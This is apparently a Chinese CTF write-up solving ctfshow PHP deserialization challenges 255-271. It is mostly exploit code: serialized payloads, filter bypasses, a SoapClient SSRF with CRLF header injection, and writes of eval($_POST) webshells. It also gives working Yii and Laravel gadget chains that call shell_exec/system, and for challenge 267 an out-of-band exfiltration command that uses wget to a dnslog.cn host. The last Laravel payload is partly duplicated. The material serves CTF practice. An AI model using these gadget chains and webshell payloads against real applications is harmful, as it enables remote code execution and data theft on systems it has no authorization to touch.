ctfshow反序列化篇(255-271)
255、
class ctfShowUser{
public $isvip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
get传两个参数username=xxxxxx&password=xxxxxx
burp抓包,cookie传参user(分号在cookie中不会被正确的上传到服务器,所以需要url编码):
256、
<?php
Class ctfShowUser{
public $username="a";
public $password="b";
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
get:username=123&password=1234
cookie:
257、
<?php
class ctfShowUser{
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('cat flag.php');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
258、
整体逻辑与上题相同,但多了层过滤。
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
正常序列化的结果为:
O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system('cat flag.php');";}}
这层过滤的意思为:"o:"后不能跟数字,可以加个+号绕过,如:
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:14:"backDoorcode";s:23:"system('cat flag.php');";}}
然后url编码即可
259、
以下是feng师傅的博客内容:
新姿势,一般反序列化的题目,那个php页面没用任何已有的类,那大概率就是考察PHP原生类的反序列化。
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
想要得到flag,就必须本地访问flag.php并带上token,是根据x-forwarded-for来判断的,第一反应是改xff头,但因为有了cloudfare代理,我们无法通过本地构造XFF头实现绕过。因此这题需要利用原生类的反序列化来实现SSRF,考察的是php的SoapClient原生类的反序列化。
综述:
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容。
具体可以参考y4师傅的博客
最终的payload:
<?php
$a = new SoapClient(null,
array(
'user_agent' => "feng\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
'uri' => 'feng',
'location' => 'http://127.0.0.1/flag.php'
)
);
$b = serialize($a);
#$c = unserialize($b);
#$c->not_a_function();//调用不存在的方法,让SoapClient调用__call
echo urlencode($b);
<?php
$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
print_r(urlencode(serialize($client)));
参考文章:https://baijiahao.baidu.com/s?id=1709236552525677652&wfr=spider&for=pc
261、
反序列化中常见的魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
本题中,__sleep()
,__invoke()
函数无法触发,根据php特性,__wakeup()也不会触发。
php7.4版本以上
1、当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize
2、__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组
发现__destruct()函数中有
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
0x36d=877,php弱比较绕过
payload:
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip("877.php","<?php eval($_POST[1]);?>");
echo serialize($a);
?>
262、
首先发现字符串替代,猜测是字符串逃逸。
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
注意最上面注释
message.php
查看发现:
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
当token的值为amin的时候,输出flag,
";s:5:"token";s:5:"admin";}
有27位,所以构造27个fuck
<?php
class message{
public $from="1";
public $msg="1";
public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token='admin';
}
$a=new message();
$b=serialize($a);
echo $b."<br><br>";
$b=str_replace('fuck', 'loveU', $b);
echo $b;
263、
记一次艰难的解题:
一开始什么也没有,看到框就想注入(bushi)。看看有什么特殊的文件,发现了www.zip,下载下来进行一个审计。
在/inc/inc.php
下发现了:
ini_set('session.serialize_handler', 'php');
//下面这一段更是可控
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
接着找一找有没有可控的session,在index.php下发现:
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
又发现check.php调用了inc.php
require_once 'inc/inc.php';
接着我们就有了思路,构造一段payload,然后将这个payload作为cookie传入到session,再访问check.php时自动将session解码反序列化,成功赋值,最后访问生成的文件,执行rce。
<?php
class User{
public $username;
public $password;
function __construct(){
$this->username = "10.php";
$this->password = '<?php eval($_POST[0]);?>';
}
}
echo base64_encode("|".serialize(new User()));
264、
甚至可以直接用262的payload,但要记得最后cookie传一个msg
265、
考察php按地址传参
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password=&$this->token;
}
}
$a=new ctfshowAmin();
echo serialize($a);
266、
当我们的序列化字符串中有ctfshow就会抛出异常,这样就没办法调用__destrcut了,在php中,函数不区分大小写,所以大写绕过就行
<?php
class Ctfshow{}
echo serialize(new Ctfshow());
267、yii框架链子1
弱口令admin登录,在about页面查看源代码,发现
poc
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo'; //控制函数
$this->id = '1'; //控制括号里的内容
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
没办法输出内容,可以尝试dns带外找到index.php所在目录。(应该是把 / 过滤了,无法执行命令直接查看根目录)
$this->checkAccess = 'shell_exec';
$this->id = 'wget `pwd|base64`.tgsjzu.dnslog.cn';
然后将命令写入php文件里
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]); ?>' > /var/www/html/basic/web/1.php";
访问1.php再命令执行就可以
268-270、yii框架链子2
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php");
echo(base64_encode(serialize($exp)));
}
271、
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));
echo urlencode(serialize($pendingcommand));
}
(命令里过滤了空格,注意一下
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array(“hello” => “world”));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));
echo urlencode(serialize($pendingcommand));
(命令里过滤了空格,注意一下